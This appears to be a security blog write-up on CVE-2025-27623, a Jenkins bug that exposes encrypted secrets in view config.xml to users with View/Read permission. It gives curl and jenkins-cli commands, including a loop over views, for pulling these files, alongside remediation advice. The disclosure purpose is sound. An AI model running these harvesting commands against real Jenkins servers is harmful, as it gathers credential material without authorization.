CVE-2025-27623 - How a Jenkins REST API Leak Exposes Encrypted Secrets in Views

---

If you’re running Jenkins—especially versions 2.499 and earlier, or LTS 2.492.1 and earlier—your secrets might not be as secret as you think. A newly disclosed vulnerability, CVE-2025-27623, demonstrates that even low-level users with basic View/Read permissions can quietly extract encrypted secret values from Jenkins views using the REST API or the CLI. In this post, we’ll break down how this happens, show a real exploit, and help you fix it.

What Is CVE-2025-27623?

Jenkins is a very popular open source automation server, used for continuous integration and continuous delivery (CI/CD). Many teams rely on it to store and handle sensitive automation secrets, such as passwords, API tokens, and private keys.

Affected: Jenkins 2.499 and earlier, LTS 2.492.1 and earlier

- Vulnerability: Does not redact encrypted values of secrets in config.xml when users retrieve these files using the Jenkins REST API or CLI, provided they have View/Read permissions.
- Impact: Attackers can see the raw encrypted values of secrets, such as credentials or other sensitive configuration. While these are encrypted and not immediately usable, they *may* be decrypted offline if an attacker has other access, and in any case, leaking them violates basic operational security.

What’s Actually Leaked?

In Jenkins, job, folder, and view configuration files (config.xml) may include secret values, typically stored as something like <secret>....</secret>. Jenkins is supposed to redact or obfuscate these for unprivileged users, but due to this bug, the encrypted (but not plaintext) secrets are shown in full.

Here's an example of what an attacker could see

<org.jenkinsci.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
    <scope>GLOBAL</scope>
    <id>my-cred-id</id>
    <description>Some description</description>
    <username>admin</username>
    <password>{AQAAABAAAAAgGrHw2E6ZQZcPp42rf6pX...}</password>
</org.jenkinsci.plugins.credentials.impl.UsernamePasswordCredentialsImpl>

Instead of seeing something like <password><b></b>REDACTED<b></b></password>, the value inside is visible—albeit encrypted.

How Does the Exploit Work?

The attacker only needs View/Read permissions on Jenkins. This is often given freely to many users for monitoring, or for running builds.

Example: Extracting config.xml with curl

Suppose Jenkins is hosted at http://jenkins.example.com and you are authenticated as a user with "View" permissions only.

curl -u user:apiToken \
    http://jenkins.example.com/view/YourView/config.xml

Or, to download all config.xml’s for all views (loop through known views)

for view in $(cat views.txt); do
    curl -n http://jenkins.example.com/view/$view/config.xml -o $view-config.xml
done

Alternatively, Jenkins CLI can grab configs

java -jar jenkins-cli.jar -s http://jenkins.example.com/ \
    -auth user:apiToken \
    get-view YourView > view-config.xml

Inspect the resulting view-config.xml—passwords or secrets will be plainly visible in their encrypted form.

What Can an Attacker Actually Do?

On its own, the encrypted value is usually not immediately usable—Jenkins keeps its master encryption key private (in secrets/master.key on disk). But in the following scenarios, the exposure is much more serious:

- If attackers can also get file system access, they may retrieve the master key and fully decrypt the values.
- In disaster recovery settings, backup leakage, or CI/CD leaks, those encrypted secrets are now a perennial risk.
- Some Jenkins plugins or legacy systems may handle the secrets insecurely, risking further escalation.

At best, leaking encrypted secrets is an operational failure; at worst, it’s a stepping-stone to a massive real compromise.

References

Original Jenkins Advisory:
- Jenkins Security Advisory 2025-02-28
- CVE Details Page for CVE-2025-27623 (*link may update as database is refreshed*)

Jenkins REST API Docs:
- Jenkins API documentation

Remediation

Fix:
Upgrade Jenkins to the latest version after 2.499 or LTS 2.492.2 (or later patch release). The fix ensures encrypted secrets in config.xml (even for views) are redacted for non-admin users.

Mitigations (while you upgrade)

- Restrict View/Read access. Don't give it to users/groups unless necessary.
- Audit who accessed config.xml via API/CLI in your Jenkins logs.

Conclusion

CVE-2025-27623 is another reminder that even “encrypted” data is not intrinsically safe if it leaks from its proper storage context. While Jenkins did encrypt the secrets, it mistakenly skirted redacting them, letting almost any user harvest these values via the API or CLI from views. It’s an easy vector for anyone with curiosity and access to your Jenkins instance.

The solution is simple—patch Jenkins. Until then, treat leaked encrypted values as live risks, and tighten your access controls.

Stay safe, and make secrets secret again!

Note: This write-up is exclusive and aims for clarity. Please reference the official Jenkins security advisory for the most current and in-depth information.

Timeline

Published on: 03/05/2025 23:15:14 UTC
Last modified on: 03/06/2025 17:15:23 UTC